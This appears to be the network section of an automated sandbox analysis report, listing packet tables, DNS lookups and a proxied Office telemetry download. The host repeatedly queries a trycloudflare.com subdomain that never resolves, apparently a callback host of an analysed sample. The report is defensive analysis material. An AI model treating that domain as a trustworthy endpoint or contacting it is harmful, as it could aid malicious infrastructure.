Oct 26, 2024 13:46:48.088530064 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.088567019 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:48.088614941 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:48.203633070 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.203836918 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.203875065 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:48.203893900 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.203906059 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:48.204019070 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:48.204027891 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.204046965 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:48.204049110 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.204061985 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:58.831206083 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:58.831271887 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:58.831336975 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:58.831681967 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:58.831692934 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:59.704657078 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:59.704984903 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:59.705012083 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:59.705343008 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:59.706321955 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:59.706386089 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:59.751995087 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:47:09.716864109 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:47:09.716937065 CEST	443	49986	142.250.184.228	192.168.2.9
Oct 26, 2024 13:47:09.716986895 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:47:11.441513062 CEST	49986	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:47:11.441553116 CEST	443	49986	142.250.184.228	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:45:54.643693924 CEST	52244	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:54.643951893 CEST	52027	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:54.654618979 CEST	53	64566	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:54.658247948 CEST	53	52244	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:54.660173893 CEST	53	52027	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:54.669352055 CEST	61071	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:54.674166918 CEST	53	62238	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:54.681432009 CEST	53	61071	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:54.928155899 CEST	60263	53	192.168.2.9	8.8.8.8
Oct 26, 2024 13:45:54.928540945 CEST	53223	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:55.036541939 CEST	53	60263	8.8.8.8	192.168.2.9
Oct 26, 2024 13:45:55.037024975 CEST	53	53223	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:56.041033983 CEST	64930	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:56.041214943 CEST	50985	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:56.193026066 CEST	53	55469	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:56.194756031 CEST	53	64930	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:56.195250988 CEST	53	50985	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:57.148258924 CEST	60257	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:57.159933090 CEST	53	60257	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:58.768975019 CEST	56851	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:58.769190073 CEST	55590	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:45:58.776304960 CEST	53	55590	1.1.1.1	192.168.2.9
Oct 26, 2024 13:45:58.776403904 CEST	53	56851	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:01.213668108 CEST	59211	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:01.213819027 CEST	56721	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:01.226058960 CEST	53	56721	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:01.226927042 CEST	53	59211	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:01.229465961 CEST	61402	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:01.237716913 CEST	53	61402	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:03.742408991 CEST	58117	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:03.742626905 CEST	61178	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:03.752525091 CEST	53	58117	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:03.752533913 CEST	53	61178	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:03.785744905 CEST	60144	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:03.786037922 CEST	51275	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:03.797368050 CEST	53	60144	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:03.799335003 CEST	53	51275	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:03.929764032 CEST	53374	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:03.930408955 CEST	60936	53	192.168.2.9	8.8.8.8
Oct 26, 2024 13:46:03.937043905 CEST	53	53374	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:03.937633991 CEST	53	60936	8.8.8.8	192.168.2.9
Oct 26, 2024 13:46:04.704642057 CEST	53276	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:04.715888977 CEST	53	53276	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:05.000750065 CEST	56105	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:05.012588024 CEST	53	56105	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:05.044673920 CEST	51372	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:05.056987047 CEST	53	51372	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:05.064073086 CEST	58815	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:05.064305067 CEST	58518	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:05.074701071 CEST	53	58518	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:05.075258970 CEST	53	58815	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:10.134332895 CEST	64286	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:10.134480953 CEST	63245	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:10.143965960 CEST	53	63245	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:10.146187067 CEST	53	64286	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:10.152803898 CEST	49615	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:10.163819075 CEST	53	49615	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:10.336519003 CEST	56320	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:10.336752892 CEST	55893	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:10.347943068 CEST	53	56320	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:10.348002911 CEST	53	55893	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:13.088526011 CEST	53	51348	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:31.979610920 CEST	53	53095	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:40.382270098 CEST	53800	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:40.382420063 CEST	58040	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:40.390350103 CEST	53	53800	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:40.394521952 CEST	53	58040	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:40.395225048 CEST	53268	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:46:40.406335115 CEST	53	53268	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:43.180418968 CEST	138	138	192.168.2.9	192.168.2.255
Oct 26, 2024 13:46:54.110922098 CEST	53	51262	1.1.1.1	192.168.2.9
Oct 26, 2024 13:46:54.339519978 CEST	53	59142	1.1.1.1	192.168.2.9
Oct 26, 2024 13:47:07.644262075 CEST	52120	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:47:07.655164957 CEST	53	52120	1.1.1.1	192.168.2.9
Oct 26, 2024 13:47:22.386148930 CEST	53	64760	1.1.1.1	192.168.2.9
Oct 26, 2024 13:47:37.456669092 CEST	54242	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:47:37.472218990 CEST	53	54242	1.1.1.1	192.168.2.9
Oct 26, 2024 13:47:40.430303097 CEST	62972	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:47:40.430481911 CEST	57507	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:47:40.439647913 CEST	53	62972	1.1.1.1	192.168.2.9
Oct 26, 2024 13:47:40.442079067 CEST	53	57507	1.1.1.1	192.168.2.9
Oct 26, 2024 13:47:40.443135977 CEST	61543	53	192.168.2.9	1.1.1.1
Oct 26, 2024 13:47:40.455123901 CEST	53	61543	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 13:45:54.643693924 CEST	192.168.2.9	1.1.1.1	0x8853	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:54.643951893 CEST	192.168.2.9	1.1.1.1	0xe7e1	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:45:54.669352055 CEST	192.168.2.9	1.1.1.1	0x4a20	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:54.928155899 CEST	192.168.2.9	8.8.8.8	0xd526	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:54.928540945 CEST	192.168.2.9	1.1.1.1	0x9508	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:56.041033983 CEST	192.168.2.9	1.1.1.1	0x5945	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:56.041214943 CEST	192.168.2.9	1.1.1.1	0x8aa1	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:45:57.148258924 CEST	192.168.2.9	1.1.1.1	0x1a71	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:58.768975019 CEST	192.168.2.9	1.1.1.1	0xa132	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:58.769190073 CEST	192.168.2.9	1.1.1.1	0x78fe	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:01.213668108 CEST	192.168.2.9	1.1.1.1	0x536a	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:01.213819027 CEST	192.168.2.9	1.1.1.1	0xfafb	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:01.229465961 CEST	192.168.2.9	1.1.1.1	0x548b	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.742408991 CEST	192.168.2.9	1.1.1.1	0xf6d8	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.742626905 CEST	192.168.2.9	1.1.1.1	0x2a93	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:03.785744905 CEST	192.168.2.9	1.1.1.1	0xfc01	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.786037922 CEST	192.168.2.9	1.1.1.1	0x785e	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:03.929764032 CEST	192.168.2.9	1.1.1.1	0xed1b	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.930408955 CEST	192.168.2.9	8.8.8.8	0x378c	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:04.704642057 CEST	192.168.2.9	1.1.1.1	0xb8b	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.000750065 CEST	192.168.2.9	1.1.1.1	0xae8e	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.044673920 CEST	192.168.2.9	1.1.1.1	0xb0da	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:05.064073086 CEST	192.168.2.9	1.1.1.1	0x312e	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.064305067 CEST	192.168.2.9	1.1.1.1	0xd7b7	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:10.134332895 CEST	192.168.2.9	1.1.1.1	0x8b3c	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.134480953 CEST	192.168.2.9	1.1.1.1	0x203a	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:10.152803898 CEST	192.168.2.9	1.1.1.1	0x66f4	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.336519003 CEST	192.168.2.9	1.1.1.1	0xca06	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.336752892 CEST	192.168.2.9	1.1.1.1	0x6ed8	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:40.382270098 CEST	192.168.2.9	1.1.1.1	0x46ce	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:40.382420063 CEST	192.168.2.9	1.1.1.1	0xb8c5	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:46:40.395225048 CEST	192.168.2.9	1.1.1.1	0x9b86	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:07.644262075 CEST	192.168.2.9	1.1.1.1	0xfd43	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:37.456669092 CEST	192.168.2.9	1.1.1.1	0xd5e4	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:40.430303097 CEST	192.168.2.9	1.1.1.1	0x2dc5	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:40.430481911 CEST	192.168.2.9	1.1.1.1	0x192e	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	65	IN (0x0001)	false
Oct 26, 2024 13:47:40.443135977 CEST	192.168.2.9	1.1.1.1	0x1a20	Standard query (0)	spectrum-exactly-knitting-rural.trycloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 13:45:47.756339073 CEST	1.1.1.1	192.168.2.9	0xa4f2	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 13:45:47.756339073 CEST	1.1.1.1	192.168.2.9	0xa4f2	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:54.658247948 CEST	1.1.1.1	192.168.2.9	0x8853	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:54.660173893 CEST	1.1.1.1	192.168.2.9	0xe7e1	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:45:54.681432009 CEST	1.1.1.1	192.168.2.9	0x4a20	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:55.036541939 CEST	8.8.8.8	192.168.2.9	0xd526	No error (0)	google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:55.037024975 CEST	1.1.1.1	192.168.2.9	0x9508	No error (0)	google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:56.194756031 CEST	1.1.1.1	192.168.2.9	0x5945	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:56.195250988 CEST	1.1.1.1	192.168.2.9	0x8aa1	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:45:57.159933090 CEST	1.1.1.1	192.168.2.9	0x1a71	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:45:58.776304960 CEST	1.1.1.1	192.168.2.9	0x78fe	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 26, 2024 13:45:58.776403904 CEST	1.1.1.1	192.168.2.9	0xa132	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:01.226058960 CEST	1.1.1.1	192.168.2.9	0xfafb	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:01.226927042 CEST	1.1.1.1	192.168.2.9	0x536a	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:01.237716913 CEST	1.1.1.1	192.168.2.9	0x548b	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.752525091 CEST	1.1.1.1	192.168.2.9	0xf6d8	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.752533913 CEST	1.1.1.1	192.168.2.9	0x2a93	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:03.797368050 CEST	1.1.1.1	192.168.2.9	0xfc01	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.799335003 CEST	1.1.1.1	192.168.2.9	0x785e	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:03.937043905 CEST	1.1.1.1	192.168.2.9	0xed1b	No error (0)	google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:03.937633991 CEST	8.8.8.8	192.168.2.9	0x378c	No error (0)	google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:04.715888977 CEST	1.1.1.1	192.168.2.9	0xb8b	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.012588024 CEST	1.1.1.1	192.168.2.9	0xae8e	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:05.056987047 CEST	1.1.1.1	192.168.2.9	0xb0da	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:05.074701071 CEST	1.1.1.1	192.168.2.9	0xd7b7	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:05.075258970 CEST	1.1.1.1	192.168.2.9	0x312e	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.143965960 CEST	1.1.1.1	192.168.2.9	0x203a	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:10.146187067 CEST	1.1.1.1	192.168.2.9	0x8b3c	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.163819075 CEST	1.1.1.1	192.168.2.9	0x66f4	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.347943068 CEST	1.1.1.1	192.168.2.9	0xca06	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:10.348002911 CEST	1.1.1.1	192.168.2.9	0x6ed8	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:40.390350103 CEST	1.1.1.1	192.168.2.9	0x46ce	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:40.394521952 CEST	1.1.1.1	192.168.2.9	0xb8c5	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:46:40.406335115 CEST	1.1.1.1	192.168.2.9	0x9b86	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:07.655164957 CEST	1.1.1.1	192.168.2.9	0xfd43	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:37.472218990 CEST	1.1.1.1	192.168.2.9	0xd5e4	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:40.439647913 CEST	1.1.1.1	192.168.2.9	0x2dc5	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:47:40.442079067 CEST	1.1.1.1	192.168.2.9	0x192e	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	65	IN (0x0001)	false
Oct 26, 2024 13:47:40.455123901 CEST	1.1.1.1	192.168.2.9	0x1a20	Name error (3)	spectrum-exactly-knitting-rural.trycloudflare.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.9	49706	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:48 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:48 UTC	540	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:48 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 11:03:28 GMT ETag: "0x8DCF4E4A7F3A397" x-ms-request-id: 52d5a461-501e-00a0-17e5-269d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114548Z-16849878b78wc6ln1zsrz6q9w800000001kg00000000cvum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:48 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-26 11:45:48 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
